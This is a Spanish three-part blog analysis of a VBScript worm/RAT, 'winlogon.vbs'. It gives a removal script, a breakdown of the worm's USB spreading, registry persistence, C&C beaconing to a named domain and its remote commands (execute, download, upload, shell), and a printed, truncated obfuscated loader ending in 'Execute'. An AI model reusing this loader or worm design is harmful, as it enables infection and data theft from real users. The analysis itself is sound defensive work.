lunes, 18 de enero de 2016

Analizando el archivo: "winlogon.vbs" - Parte 3 - Cura

Continuando con las anteriores entradas, se pasa la cura que se creó:

NOTA: Copiarlo y generar un archivo con extensión ".vbs"

'Created for 4null0'
'---------'
'Variables'
'---------'

dim shellobj
dim filesystemobj
dim filename
dim foldername

set shellobj = wscript.createobject("wscript.shell")
set filesystemobj = createobject("scripting.filesystemobject")

installdir = "%temp%"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"

nombrecompleto = split (wscript.scriptname, ".")
installname = nombrecompleto (1) & "." & nombrecompleto (2)

ap = split(installname,".")

installbatname = ap(0) & ".bat"

startup = shellobj.specialfolders ("startup") & "\"

on error resume next

'---------'
'Eliminamos los procesos asociados a la infección
'---------'
ShellObject.Run "taskill /F /IM wscript.exe"
'ShellObject.Run "taskill /F /IM explorer.exe"
'ShellObject.Run "start explorer"

'---------'
'Eliminamos las claves de registro creadas
'---------'

shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)

'---------'
'Eliminamos los archivos creados en el disco duro
'---------'
                              
filesystemobj.deletefile installdir & installname ,true
filesystemobj.deletefile installdir & installbatname ,true
filesystemobj.deletefile startup & installbatname ,true

'---------'
'Recuperamos la visibilidad para la carpeta de inicio definida en:"startup"
'---------'
set carpeta = filesystemobj.getfolder( startup )

carpeta.attributes = 16

'---------'
'Eliminamos los archivos creados (.vbs, .bat y .lnk) en los dispositivo de tipo extráibles.
'También se eliminan los atributo de "Sistema" y de "Oculto" de cada archivo y carpeta de los dispositivos extráibles.
'---------'

for  each drive in filesystemobj.drives
if  drive.isready = true then
 if  drive.freespace  > 0 then
  if  drive.drivetype  = 1 then
    for  each file in filesystemobj.getfolder ( drive.path & "\").files
         if  instr (file.name,".") then
             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                 file.attributes = 0
                 if  ucase (file.name) <> ucase (installname) then
                     filename = split(file.name,".")
                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                 else
                     filesystemobj.deletefile (drive.path & "\" & file.name)
                 end If
             else
                 filesystemobj.deletefile (file.path)
             end if
         end if
     next
     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
         folder.attributes = 0
     next
  end if
 end if
end if
next



Analizando el archivo: "winlogon.vbs" - Parte 2

Continuando con la anterior entrada, se procede a investigar el código, encontrándose la siguiente información:

1.-  Al principio se define el directorio que será asignado a la variable: installdir
      
NOTA: En cualquier caso se lee la variable de entorno %temp%, que contiene la ubicación del directorio que se utilizará como repositorio temporal. 

Código para definir el contenido de la variable: installdir.

 2.- Se determina si el hosts ya se encontraba infectado, para lo cual se determina la existencia en el registro de Windows de la siguiente clave:

"HKEY_CURRENT_USER\software\microsoft\windows\Currentversion\Run\winlogon”

Codigo para determinar si el hosts se encuentra infectado o no.

3.- Si no se encuentra la clave anterior, se despliegan llama al procedimiento: upstart (). Que entre otras cosas, crea dos claves nuevas:

"HKEY_CURRENT_USER\software\microsoft\windows\Currentversion\Run\winlogon” con un valor “%temp%\winlogon.bat”
“HKEY_LOCAL_MACHINE\software\microsoft\windows\Currentversion\Run\winlogon” con un valor “%temp%\winlogon.bat”

Procedimiento: upstart ().

Genera el archivo “winlogon.bat”, con atributos: oculto y del sistema, en las ubicaciones: %temp%, y en la carpeta: “Inicio”. Con el siguiente código: 

start wscript “%temp%\winlogon.vbs”

, mediante el procedimiento: starter().

Código del procedimiento: starter().


4.-  Se ejecuta la función: Instance(). Ésta función, entre otras cosas, graba en el registro la fecha del día de la infección.

Más concretamente, la clave del registro a crear es:

HKEY_LOCAL_MACHINE\software\winlogon

,y el valor que introduce es: true - <fecha>

Además, se realiza una vez más la infección.

Función: Instance().

5.- Entramos en un bucle que se ejecutará siempre y cuando el ordenador este activo, con un intervalo de hibernación de 5000 ms.


1ª parte del bucle

2ª parte del bucle

5.1.- Cada vez que se ejecuta el bucle se llama al procedimiento: install. Este procedimiento, a su vez, llama al procedimiento: upstart (ver punto 3) y al procedimiento: cleaner.

NOTA: El procedimiento cleaner, para el proceso activo en memoria, y limpia los registros creados en la secuencia de arranque, así como los archivos creados.

El procedimiento install, continúa ejecutándose y busca las unidades de red de tipo 1, es decir, las unidades de tipo extraíbles. Si encuentra alguna, copia en la carpeta raíz el archivo el archivo con extensión “.vbs” y el archivo con extensión “.bat”, con atributos del sistema y ocultos.

A continuación, cada archivo y cada carpeta de la carpeta raíz, es modificado de la siguiente manera:  genera un archivo de tipo “.lnk” con el mismo nombre, que redirecciona al contenido del mismo pero ejecutando anteriormente el archivo con extensión “.bat” almacenado en la carpeta raíz.

Modificación de los ficheros ubicados en  la carpeta raíz del medio extraíble.

Modificación de las carpetas ubicadas de la carpeta raíz del medio extraíble.

5.2.- Tras el proceso: install, se continua con la ejecución de la función: post(). Ésta función se encarga de comunicarse con el C&C cada vez que se activa el bucle.

Función: Post()

Los datos del C&C son:

Dominio:             43r0m4x.linkpc.net
Puerto:                34

Variables que contienen el nombre del dominio y el puerto a utilizar en la comunicación

NOTA: Dicha función tiene dos parámetros, el primero de los cuales es el utilizado como URI en la petición HTTP.

En la comunicación que se lanza cada 5 segundos consiste en:

URL:                      43r0m4x.linkpc.net:34/is-ready
Método:                 Post

Pero a esto hay que añadir la información que se extrae a través de la función: Information(), y que va oculta en el campo HTTP; “User-Agent

Función: Information()

La información oculta en el campo: User-Agent consiste de:

1.- Número de serie del primer disco duro encontrado.

NOTA: La función: hwid(), nos proporciona ese dato. Aunque también hay que decir que si NO aplicara el “exit for”, se le enviaría todos los números de serie no vacios encontrados.

Función: hwid().

2.- El nombre de la máquina
3.- El nombre del usuario
4.- El sistema operativo
5.- La cadena “plus”
6.- El sistema operativo

NOTA: El código analizado sólo tiene en cuenta los sistemas operativos: XP y VISTA. Por lo que el sistema operativo no será enviado en el caso de otros sistemas.

Código que recoge el sistema operativo

7.- La fecha de infección

NOTA: La variable: usbspreading, puede contener el valor: true - <fecha> o false - <fecha>, visto en la función: instance() (ver punto 4)

Ejemplo de los datos enviados

5.3.- De la respuesta obtenida, se procede a determinar lo que es  el comando y lo que es el parámetro. Ambos se encuentran separados por el siguiente conjunto de caracteres separadores: “<|>”

Los posibles comandos son:

A.- Excecute:  Ejecuta la información transmitida en el parámetro.

Opción: Excecute

B.- Update: Ejecuta de nuevo el archivo: winlogon.vbs

Opción: Update

C.- Uninstall: Elimina los archivos creados en la carpeta: %temp% y %startup%, con nombre “system.bat”. Así mismo, recorre los discos extraíbles conectados eliminando los archivos con extensión “.lnk”, y a cada archivo o carpeta que cae de la carpeta raíz le asigna el atributo 0 (Normal)

Opción: Uninstall

Procedimiento: Uninstall.

D.- Send: Ésta opción borra el archivo “winlogon.vbs” que tuviéramos en el host, para copiar en su lugar el archivo indicado en el parámetro: fileurl. Tras su correcta descarga, se ejecuta.

Opción: Send

Procedimiento: Download

E.- Site-send: Ésta opción realiza los mismo que la opción “Send” salvo por la diferencia que la petición de descarga la realiza mediante el método: GET.

Opción: Site-send

Procedimiento: Sitedownloader.

F.- Recv: Ésta función envía al C&C el archivo indicado en el parámetro enviado.

Opción: Recv

Función: Upload.

G.-Enum-driver: Esta función envía los datos aportados por la función post, vista en el punto 5.2, y añade los datos relativos a los distintos dispositivos conectados en el host (Unidad y Número de serie).

Opción: Enum-driver

Función: Enumdriver.

H.- Enum-faf: Esta función envía los datos aportados por la función post, vista en el punto 5.2, y añade los datos relativos a los archivos y carpetas de la ubicación indicada a través del parámetro envíado (Nombre y atributos de las carpetas y archivos).

Opción: Enum-faf

Función: Enumfaf

I.- Enum-process:  Esta función envía los datos aportados por la función post, vista en el punto 5.2, y añade los datos relativos a los procesos que corren en el sistema (Nombre y PID de los procesos).

Opción: Enum-process

Función: Enumprocess.

J.- Cmd-shell:  Esta función envía los datos aportados por la función post, vista en el punto 5.2, y añade los datos devueltos por la ejecución de los comandos enviados como parámetro.


Opción: Cmd-shell

Función: Cmdshell.

K.- Delete: Este procedimiento elimina el archivo y la carpeta enviados como parámetro.


Opción: Delete

Procedimiento: Deletefaf

L.- Exitprocess: Este procedimiento elimina el proceso con PID enviado como parámetro.

Opción: Exit-process

Procedimiento: Exitprocess

M.- Sleep: Ésta opción indica el tiempo por el que el proceso, y como consecuencia, el bucle “While” estará parado.

Opción: Sleep

Analizando el archivo: "winlogon.vbs" - Parte 1

Hace unos días me dieron el siguiente archivo con extensión “.vbs”:

Nombre:                winlogon.vbs
Md5:                     8956FFB4FE720569055830FDB0D1D6EC

Md5 del archivo a analizar

Con un editor de texto se reviso el contenido, que guardaba una sorpresa:

Private Function DeCryptString(strCryptString)
'####################################################################
'### Crypt Function (C) 2001 by Slavic Kozyuk grindkore@yahoo.com ###
'### Arguments: Encrypted HEX stringt                                                                                                                                                 ###
'### Output: Decrypted ASCII string                               ###
'####################################################################
'### Note this function uses HexConv() and get_hxno() functions   ###
'### so make sure they are not removed                                                                                                                                                ###
'####################################################################

Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData


                        strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|"))
                        intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|"))
                        intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet)
                        strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1))

                       
                        arHexCharSet = Split(strHexCrypData, Hex(intKey))
                                              
                                               For i=0 to UBound(arHexCharSet)
                                                                       strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey)
                                               Next
                                              
                        DeCryptString = strRAW
End Function

Private Function HexConv(hexVar)
Dim hxx, hxx_var, multiply                              
                                               IF hexVar <> "" THEN
                                                                       hexVar = UCASE(hexVar)
                                                                       hexVar = StrReverse(hexVar)
                                                                       DIM hx()
                                                                       REDIM hx(LEN(hexVar))
                                                                       hxx = 0
                                                                       hxx_var = 0
                                                                       FOR hxx = 1 TO LEN(hexVar)
                                                                                              IF multiply = "" THEN multiply = 1
                                                                                              hx(hxx) = mid(hexVar,hxx,1)
                                                                                              hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
                                                                                              multiply = (multiply * 16)
                                                                       NEXT
                                                                       hexVar = hxx_var
                                                                       HexConv = hexVar
                                               END IF
End Function
                       
Private Function get_hxno(ghx)
                                               If ghx = "A" Then
                                                                       ghx = 10
                                               ElseIf ghx = "B" Then
                                                                       ghx = 11
                                               ElseIf ghx = "C" Then
                                                                       ghx = 12
                                               ElseIf ghx = "D" Then
                                                                       ghx = 13
                                               ElseIf ghx = "E" Then
                                                                       ghx = 14
                                               ElseIf ghx = "F" Then
                                                                       ghx = 15
                                               End If
                                               get_hxno = ghx
End Function
                                              
                        ' Decodes a base-64 encoded string (BSTR type).
' 1999 - 2004 Antonin Foller, http://www.motobit.com
' 1.01 - solves problem with Access And 'Compare Database' (InStr)
Function Base64Decode(ByVal base64String)
  'rfc1521
  '1999 Antonin Foller, Motobit Software, http://Motobit.cz
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
 
  'remove white spaces, If any
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
 
  'The source must consists from groups with Len of 4 chars
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "Base64Decode", "Bad Base64 string."
    Exit Function
  End If

 
  ' Now decode each group:
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    ' Each data group encodes up To 3 actual bytes.
    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3
      ' Convert each character into 6 bits of data, And add it To
      ' an integer For temporary storage.  If a character is a '=', there
      ' is one fewer data byte.  (There can only be a maximum of 2 '=' In
      ' the whole string.)

      thisChar = Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
        Exit Function
      End If

      nGroup = 64 * nGroup + thisData
    Next
   
    'Hex splits the long To 6 groups with 4 bits
    nGroup = Hex(nGroup)
   
    'Add leading zeros
    nGroup = String(6 - Len(nGroup), "0") & nGroup
   
    'Convert the 3 byte hex integer (6 chars) To 3 characters
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
   
    'add numDataBytes characters To out string
    sOut = sOut & Left(pOut, numDataBytes)
  Next

  Base64Decode = sOut
End Function


data = "MkEwQTMwRTExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyNDFDMTJCQTExM0Y0MjI0QTY2QzQxMTNGNDI1REM3RjZFMTEzRjQyNTUyODU1RTExM0Y0MjU4NjQzMjQxMTNGNDI1MzAwNkRBMTEzRjQyMjI3RTg0MDExM0Y0MjUzMDA2REExMTNGNDI1NTI4NTVFMTEzRjQyNDk0Q0Q4ODExM0Y0MjRFQjA5RDIxMTNGNDI0Qjc0QzBDMTEzRjQyNEVCMDlEMjExM0Y0MjR

… <más contenido>…

UUyQjY0MTEzRjQyNzdBNkQ5RTExM0Y0MjZBQjc2ODYxMTNGNDI2Q0RGNTBBMTEzRjQyN0JGNkFBNjExM0Y0MjdCRjZBQTYxMTNGNDIyMjdFODQwMTEzRjQyNDFDMTJCQTExM0Y0MjIyN0U4NDAxMTNGNDI2Q0RGNTBBMTEzRjQyNzY5MkU1QzExM0Y0MjdFMUU5MkExMTNGNDI3NTdFRjFBMTEzRjQyNzhCQU"
dec2 = Base64Decode(data)
dec1 = DeCryptString(dec2)

‘msgbox dec1
Execute dec1

Para decodificar (base 64) y descifrar, el propio código muestra lo que se debe hacer: sólo tenemos que des-comentar la penúltima línea y comentar la última:

UUyQjY0MTEzRjQyNzdBNkQ5RTExM0Y0MjZBQjc2ODYxMTNGNDI2Q0RGNTBBMTEzRjQyN0JGNkFBNjExM0Y0MjdCRjZBQTYxMTNGNDIyMjdFODQwMTEzRjQyNDFDMTJCQTExM0Y0MjIyN0U4NDAxMTNGNDI2Q0RGNTBBMTEzRjQyNzY5MkU1QzExM0Y0MjdFMUU5MkExMTNGNDI3NTdFRjFBMTEzRjQyNzhCQU"
dec2 = Base64Decode(data)
dec1 = DeCryptString(dec2)

msgbox dec1
‘Execute dec1

Obteniendo el siguiente resultado:

Parte del contenido ofuscado en base64 y cifrado

Un código verdaderamente interesante, pero tenemos el problema de la limitación en la visualización.

Para salvar dicho problema, se tuvo que volcar el contenido des-ofuscado a un archivo con extensión “.txt”, que permitiera su posterior estudio. Para ello se desarrollo la función: volcardatos().

Función para almacenar la información pasada en el parámetro “datto” en un archivo de texto

Lanzamiento de la función: “volcardatos()”

El resultado … el deseado:


Contenido des-ofuscado y almacenado en el archivo: “archivo.txt”